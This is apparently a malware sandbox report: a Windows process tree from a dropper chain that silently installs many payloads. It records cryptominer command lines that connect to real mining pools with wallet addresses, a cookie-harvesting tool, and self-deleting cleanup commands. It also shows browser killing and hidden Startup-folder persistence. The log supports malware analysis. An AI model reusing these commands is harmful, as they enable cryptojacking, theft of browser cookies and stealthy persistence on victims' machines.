C:\Users\Admin\AppData\Local\Temp\is-LLJGV.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-LLJGV.tmp\Setup.exe" /Verysilent13⤵PID:8056
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\YVX7TBCCTS\setups.exe"C:\Users\Admin\AppData\Local\Temp\YVX7TBCCTS\setups.exe" ll8⤵PID:2984
-
C:\Users\Admin\AppData\Local\Temp\is-4JN1Q.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-4JN1Q.tmp\setups.tmp" /SL5="$C03B0,454998,229376,C:\Users\Admin\AppData\Local\Temp\YVX7TBCCTS\setups.exe" ll9⤵PID:6004
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"7⤵PID:5160
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe8⤵PID:7752
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe9⤵
- Kills process with taskkill
PID:3052
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Program Features.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Program Features.exe"7⤵PID:5924
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"8⤵PID:7080
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install9⤵PID:7952
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"7⤵PID:4568
-
C:\Users\Admin\AppData\Roaming\CF9C.tmp.exe"C:\Users\Admin\AppData\Roaming\CF9C.tmp.exe"8⤵PID:5128
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w7914 --cpu-max-threads-hint 50 -r 99999⤵PID:7784
-
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w15222@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 999999⤵PID:1884
-
-
-
C:\Users\Admin\AppData\Roaming\D088.tmp.exe"C:\Users\Admin\AppData\Roaming\D088.tmp.exe"8⤵PID:7828
-
C:\Windows\SysWOW64\cmd.exe/c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Roaming\D088.tmp.exe9⤵PID:3356
-
C:\Windows\SysWOW64\timeout.exetimeout /t 310⤵
- Delays execution with timeout.exe
PID:3916
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"8⤵PID:4552
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.19⤵
- Runs ping.exe
PID:5884
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"7⤵PID:1008
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"7⤵PID:8448
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"7⤵PID:8520
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵PID:8712
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵PID:9108
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4rmb5kbf.4an\app.exe /8-2222 & exit5⤵PID:6236
-
C:\Users\Admin\AppData\Local\Temp\4rmb5kbf.4an\app.exeC:\Users\Admin\AppData\Local\Temp\4rmb5kbf.4an\app.exe /8-22226⤵PID:872
-
C:\Users\Admin\AppData\Local\Temp\4rmb5kbf.4an\app.exe"C:\Users\Admin\AppData\Local\Temp\4rmb5kbf.4an\app.exe" /8-22227⤵PID:4952
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\m1vykyir.n5h\Four.exe & exit5⤵PID:4628
-
C:\Users\Admin\AppData\Local\Temp\m1vykyir.n5h\Four.exeC:\Users\Admin\AppData\Local\Temp\m1vykyir.n5h\Four.exe6⤵PID:7944
-
C:\Users\Admin\AppData\Local\Temp\94EMO2Z4JH\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\94EMO2Z4JH\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 1047⤵PID:3388
-
C:\Users\Admin\AppData\Local\Temp\94EMO2Z4JH\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\94EMO2Z4JH\multitimer.exe" 1 3.1617561718.606a0876d3132 1048⤵PID:4228
-
C:\Users\Admin\AppData\Local\Temp\94EMO2Z4JH\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\94EMO2Z4JH\multitimer.exe" 2 3.1617561718.606a0876d31329⤵PID:5196
-
C:\Users\Admin\AppData\Local\Temp\1nqaangvgsa\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\1nqaangvgsa\cpyrix.exe" /VERYSILENT10⤵PID:4148
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe11⤵PID:4460
-
C:\Users\Admin\AppData\Roaming\1.exe"{path}"12⤵PID:9180
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe11⤵PID:8264
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"12⤵PID:4252
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\bg5unwob2vc\vict.exe"C:\Users\Admin\AppData\Local\Temp\bg5unwob2vc\vict.exe" /VERYSILENT /id=53510⤵PID:6128
-
C:\Users\Admin\AppData\Local\Temp\is-HCOO4.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-HCOO4.tmp\vict.tmp" /SL5="$A0428,870426,780800,C:\Users\Admin\AppData\Local\Temp\bg5unwob2vc\vict.exe" /VERYSILENT /id=53511⤵PID:2096
-
-
-
C:\Users\Admin\AppData\Local\Temp\sfzipnt1ae4\kgzyxglwrgs.exe"C:\Users\Admin\AppData\Local\Temp\sfzipnt1ae4\kgzyxglwrgs.exe" /ustwo INSTALL10⤵PID:6060
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "kgzyxglwrgs.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\sfzipnt1ae4\kgzyxglwrgs.exe" & exit11⤵PID:8668
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "kgzyxglwrgs.exe" /f12⤵
- Kills process with taskkill
PID:6612
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\kgnazeedb2j\app.exe"C:\Users\Admin\AppData\Local\Temp\kgnazeedb2j\app.exe" /8-2310⤵PID:7368
-
C:\Users\Admin\AppData\Local\Temp\kgnazeedb2j\app.exe"C:\Users\Admin\AppData\Local\Temp\kgnazeedb2j\app.exe" /8-2311⤵PID:3328
-
-
-
C:\Users\Admin\AppData\Local\Temp\3fcuukynmzz\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\3fcuukynmzz\Setup3310.exe" /Verysilent /subid=57710⤵PID:1052
-
C:\Users\Admin\AppData\Local\Temp\is-6MTGH.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-6MTGH.tmp\Setup3310.tmp" /SL5="$A044A,138429,56832,C:\Users\Admin\AppData\Local\Temp\3fcuukynmzz\Setup3310.exe" /Verysilent /subid=57711⤵PID:2248
-
C:\Users\Admin\AppData\Local\Temp\is-O4KE4.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-O4KE4.tmp\Setup.exe" /Verysilent12⤵PID:4592
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\F5E2042375\setups.exe"C:\Users\Admin\AppData\Local\Temp\F5E2042375\setups.exe" ll7⤵PID:8092
-
C:\Users\Admin\AppData\Local\Temp\is-JEMPP.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-JEMPP.tmp\setups.tmp" /SL5="$1203B4,454998,229376,C:\Users\Admin\AppData\Local\Temp\F5E2042375\setups.exe" ll8⤵PID:6244
-
-
-
-
-
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
PID:6956
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:4172
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
PID:3948
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:1308
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5328
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:3700
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:588
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:184
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:6304
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5624
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6568
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:3184
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x39c1⤵PID:3672
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:4200
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:1136
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4676
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:2516
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵PID:6592
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
PID:5040
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:7208
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:588
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:3332
-
C:\Users\Admin\AppData\Local\Temp\3A32.exeC:\Users\Admin\AppData\Local\Temp\3A32.exe1⤵PID:6040
-
C:\Users\Admin\AppData\Local\Temp\3C66.exeC:\Users\Admin\AppData\Local\Temp\3C66.exe1⤵PID:4320
-
C:\Users\Admin\AppData\Local\Temp\4456.exeC:\Users\Admin\AppData\Local\Temp\4456.exe1⤵PID:6356
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\4456.exe"2⤵PID:5448
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK3⤵
- Delays execution with timeout.exe
PID:1732
-
-
-
C:\Users\Admin\AppData\Local\Temp\489D.exeC:\Users\Admin\AppData\Local\Temp\489D.exe1⤵PID:2788
-
C:\Users\Admin\AppData\Local\Temp\Windows system.exe"C:\Users\Admin\AppData\Local\Temp\Windows system.exe"2⤵PID:7996
-
C:\Windows\SysWOW64\attrib.exeattrib +h +r +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Windows.exe"3⤵
- Views/modifies file attributes
PID:4668
-
-
C:\Windows\SysWOW64\attrib.exeattrib +h +r +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe"3⤵
- Views/modifies file attributes
PID:7248
-
-
C:\Users\Admin\AppData\Local\Temp\tmpDD4A.tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmpDD4A.tmp.exe"3⤵PID:6624
-
-
-
C:\Windows\SysWOW64\attrib.exeattrib +h +r +s "C:\Users\Admin\AppData\Local\Temp\Windows system.exe"2⤵
- Views/modifies file attributes
PID:5824
-
-
C:\Users\Admin\AppData\Local\Temp\4D51.exeC:\Users\Admin\AppData\Local\Temp\4D51.exe1⤵PID:6984
-
C:\Users\Admin\AppData\Local\Temp\538C.exeC:\Users\Admin\AppData\Local\Temp\538C.exe1⤵PID:7976
-
C:\Users\Admin\AppData\Local\Temp\1302260226.exe"C:\Users\Admin\AppData\Local\Temp\1302260226.exe"2⤵PID:7412
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe3⤵PID:2500
-
-
-
C:\Users\Admin\AppData\Local\Temp\764823507.exe"C:\Users\Admin\AppData\Local\Temp\764823507.exe"2⤵PID:4684
-
C:\Users\Admin\AppData\Local\Temp\764823507.exe"C:\Users\Admin\AppData\Local\Temp\764823507.exe"3⤵PID:5348
-
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:6300
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:4672
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:4804
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:4912
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:7088
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:1316
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:912
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:4308
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:3684
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:7272
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:2996
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7728
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\9b735f16b89341378b99a87b17ff72ba /t 1548 /p 77281⤵PID:368
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:1888
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\4c9640ee1ab344dd8501cca2c0310ba6 /t 0 /p 18881⤵PID:8160
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8216
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\3dc4c8bd951b424f93e930bd1c522dd8 /t 8604 /p 82161⤵PID:4228
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8836
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8992
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:8844
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:8924
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6316
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8960
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8444
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5356
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5356 -s 17522⤵
- Program crash
PID:5988
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:6048
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:9060
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4716
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7948
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7648
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8052
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8484
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:728
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:4072
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8348
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8904
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 8904 -s 29122⤵
- Program crash
PID:8356
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5828
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8928
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x2501⤵PID:4188
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7448
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6732
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8976
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8852
-
